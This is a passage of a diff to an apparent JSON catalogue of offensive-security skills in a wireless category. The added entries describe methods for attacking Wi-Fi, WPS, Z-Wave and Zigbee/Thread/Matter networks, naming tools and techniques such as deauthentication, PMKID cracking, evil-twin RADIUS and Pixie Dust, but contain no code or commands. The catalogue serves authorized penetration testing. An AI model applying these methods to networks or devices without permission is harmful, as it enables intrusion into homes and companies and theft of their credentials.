"wireless",+ "path": "Skills/wireless/offensive-wifi-recon/SKILL.md",+ "description": "Wi-Fi reconnaissance methodology — adapter selection, monitor mode and packet injection setup, regulatory domain handling, multi-band airspace mapping, hidden SSID discovery, BSSID/ESSID/channel/PMF/encryption fingerprinting, client probe analysis, vendor OUI lookup, war-driving with Kismet/airodump-ng/Wigle, and structured airspace data capture for downstream attacks. Use at the start of any wireless engagement to build the target map before active attacks; covers 2.4 GHz, 5 GHz, and 6 GHz (Wi-Fi 6E) bands and adapter compatibility for each."+ },+ {+ "name": "offensive-wpa-enterprise",+ "category": "wireless",+ "path": "Skills/wireless/offensive-wpa-enterprise/SKILL.md",+ "description": "WPA/WPA2/WPA3-Enterprise (802.1X / EAP) attack methodology — EAP method identification (PEAP-MSCHAPv2, EAP-TTLS, EAP-TLS, EAP-GTC, EAP-PWD, EAP-FAST), evil-twin RADIUS attacks with eaphammer for credential capture, MSCHAPv2 challenge-response cracking, EAP-TLS client certificate theft paths (DPAPI, NDES, AD CS auto-enrollment), supplicant validation bypass (missing server cert validation, missing CN pinning, BYOD misconfigurations), and post-capture pivots into AD via cracked domain credentials. Use for corporate Wi-Fi engagements where the network is 802.1X authenticated."+ },+ {+ "name": "offensive-wpa2-psk",+ "category": "wireless",+ "path": "Skills/wireless/offensive-wpa2-psk/SKILL.md",+ "description": "WPA/WPA2-PSK attack methodology — four-way handshake capture via targeted deauthentication, PMKID attacks (no client required), hcxdumptool / hcxpcapngtool conversion to hashcat hc22000 format, GPU-accelerated cracking with dictionary, mask, and rule-based attacks, vendor default-PSK generators (UPC, Sky, BT, etc.), 802.11r FT key cracking, opportunistic key cache analysis, and signal-level optimization. Use when the in-scope network is WPA/WPA2 Personal — the most common consumer/SMB encryption mode."+ },+ {+ "name": "offensive-wpa3-sae",+ "category": "wireless",+ "path": "Skills/wireless/offensive-wpa3-sae/SKILL.md",+ "description": "WPA3 / SAE (Simultaneous Authentication of Equals) attack methodology — transition-mode (mixed WPA2/WPA3) downgrade, Dragonblood side-channel attacks (CVE-2019-9494, 9495, 13377, 13456), SAE auth flooding for AP CPU exhaustion, Hash-to-Element (H2E) timing analysis, group downgrade, and 6 GHz / Wi-Fi 6E spec implications (PMF mandatory, no transition mode allowed). Use when target advertises WPA3-SAE or WPA3-Personal/Enterprise, or operates in 6 GHz where WPA3 + PMF are required by spec."+ },+ {+ "name": "offensive-wps",+ "category": "wireless",+ "path": "Skills/wireless/offensive-wps/SKILL.md",+ "description": "WPS (Wi-Fi Protected Setup) PIN attack methodology — Pixie Dust offline attack against vulnerable chipsets (Ralink, Realtek, Broadcom, MediaTek), online PIN brute-force with reaver/bully, lockout handling, time-of-day evasion, WPS push-button vulnerability windows, and PIN-to-PSK derivation. Use when a target SOHO router exposes WPS — common on consumer ISP gear, often left enabled by default even when WPS attacks have been known for over a decade."+ },+ {+ "name": "offensive-z-wave",+ "category": "wireless",+ "path": "Skills/wireless/offensive-z-wave/SKILL.md",+ "description": "Z-Wave attack methodology — sniffing with Z-Force / EZ-Wave / RTL-SDR + ZniffMobile, S0 (legacy) network-key derivation flaw and key reuse, S2 (modern) ECDH commissioning analysis, replay/injection on unauthenticated nodes, default-key brute-force on test deployments, and home-automation hub pivots. Use when targeting Z-Wave smart home devices (door locks, sensors, garage controllers) — common in mid-2010s smart home deployments still in production."+ },+ {+ "name": "offensive-zigbee-thread-matter",+ "category": "wireless",+ "path": "Skills/wireless/offensive-zigbee-thread-matter/SKILL.md",+ "description": "Zigbee, Thread, and Matter mesh-protocol attack methodology — IEEE 802.15.4 sniffing with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E, KillerBee toolkit, Touchlink commissioning abuse with the well-known transport key, replay/injection attacks, Zigbee Cluster Library command abuse for door locks and bulbs, Thread network credential theft, Matter commissioning chain analysis, and 6LoWPAN/IPv6 routing exploitation. Use when targeting smart-home or commercial mesh deployments, Zigbee-based door locks, lighting, or sensor networks."}],- "skill_count": 45,+ "skill_count": 58,"category_count": 13}